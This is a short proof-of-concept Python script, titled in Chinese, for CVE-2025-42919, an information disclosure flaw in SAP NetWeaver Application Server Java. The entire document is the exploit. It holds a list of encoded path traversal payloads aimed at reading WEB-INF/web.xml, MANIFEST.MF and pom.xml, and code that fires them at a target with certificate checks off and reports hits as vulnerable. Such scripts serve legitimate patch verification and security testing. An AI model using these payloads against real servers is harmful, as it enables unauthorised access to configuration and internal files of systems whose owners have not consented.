CVE-2025-42919 SAP NetWeaver Java信息泄露漏洞

import requests # CVE-2025-42919 PoC - SAP NetWeaver Information Disclosure # Target: SAP NetWeaver Application Server Java target_url = "http://target-server:50000" # Path traversal payloads to access internal metadata files payloads = [ "/../WEB-INF/web.xml", "/..;/..;/WEB-INF/web.xml", "/..%2F..%2FWEB-INF/web.xml", "/..%252F..%252FWEB-INF/web.xml", "/..\\..\\WEB-INF\\web.xml", "/;test=../WEB-INF/web.xml", "/../META-INF/MANIFEST.MF", "/..;/META-INF/maven/pom.xml" ] print(f"[*] Testing CVE-2025-42919 on {target_url}") print("[*] Target: SAP NetWeaver Application Server Java") print("=" * 60) for payload in payloads: url = target_url + payload try: response = requests.get(url, timeout=10, verify=False) if response.status_code == 200 and len(response.content) > 0: print(f"[+] VULNERABLE: {payload}") print(f" Status: {response.status_code}") print(f" Content-Length: {len(response.content)}") if '<?xml' in response.text or '<?xml version' in response.text: print(f" [+] XML metadata file detected!") except requests.exceptions.RequestException as e: print(f"[-] Error testing {payload}: {e}") print("\n[*] Testing complete") print("[*] Reference: https://me.sap.com/notes/3643603")